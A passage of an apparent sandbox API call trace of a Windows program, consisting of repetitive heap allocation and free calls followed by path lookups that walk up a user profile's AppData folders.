RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.490] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.490] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.491] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.491] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.492] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.492] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.493] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.493] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.494] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.494] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.495] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.495] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.496] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.496] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c048 [0112.497] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.497] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0112.497] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0112.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0da78 | out: hHeap=0x5010000) returned 1 [0112.498] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.498] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.498] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, 